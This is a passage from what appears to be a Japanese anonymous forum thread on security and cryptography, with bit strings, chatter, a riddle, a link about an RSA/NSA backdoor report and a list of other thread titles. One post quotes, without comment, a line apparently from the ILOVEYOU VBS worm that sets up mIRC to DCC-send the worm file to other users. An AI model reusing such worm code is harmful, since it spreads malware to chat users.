⑨変換後 1000001000001000000100100100111100101011110000001110101101001011 26
⑩⑦⑨一致BIT 1011000011010110111111011111010011000011011100001010100000101100 33


218 ：
暇だ....

219 ：
RSA解くグリコン作ろうぜ

220 ：

男は海岸で水平線をじっと見つめている
ふと違和感を感じ右手を見た
いつの間にか右手に折り紙の鶴を握っている
鶴を開くと、紙にはM3H9K7T7Eと書かれていた
男は後4分しか時間が無い事に絶望した


意味わかる?

221 ：
Scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"

222 ：
222

223 ：
いやどす

224 ：2013/12/22
バックドアのある乱数生成アルゴリズムの採用に対し、
RSAがNSAから1千万ドルを受け取っていたとReutersが報じる
ttp://security.slashdot.jp/story/13/12/21/1854225/

【併用可】gred AntiVirusアクセラレータ part3
Counterspy
【最強】AntiHook 2.0【プロセス監視】
【アビラ】Avira Antivirus ver.36
☆ウィルスに感染してしまった！どうしよう！？★
ウィルスバスターアップデート前にあげるスレ ２
ウイルスバスタークラウド 総合 Part12
バッファオーバフロー
Spyware Terminatorってどう？
【ｵﾋｽ】officeこと河合一穂専用スレ7【ﾊｳｽ】
--------------------
知ってる？千葉市川署長杉田義弘◎長崎ストーカー２
実質座談会167
【黄金世代】河本結応援スレ【日体大】part.3
■■■■ 大阪府立高校文理科設置校10 ■■■■
育児している奥様(IDなし)2054
ファイナルファンタジーレジェンズ2 Part129-2
Velvet Assassin
【ポロン】 蔡クリニック ３ 【吸引】
FreeBSDを語れ Part51
ONE OK ROCK 264o’clock
【UQ HOLDER!】夏凜はチョロ甘可愛い【ネギま2】 part2
ウルトラRスモス～僕達のエネルギー～
からかい上手の高木さん part29
プロパガンダ配信 KAZUYA Channel
【アリスギア】アリス・ギア・アイギス Part1106
【スコット】SCOTT総合【ROAD,MTB】
アニヲタにネトウヨが多い理由★その12
【日本の都会度】東京＞大阪＞名古屋＞福岡＞札幌＞仙台＞広島　これでええな？ [816970601]
【スマート】スマテック・ヴァダックってどうよ？
■大腸がん（直腸癌・結腸癌）総合スレッド■38
TOP カテ一覧 スレ一覧 100～終まで 2ch元 削除依頼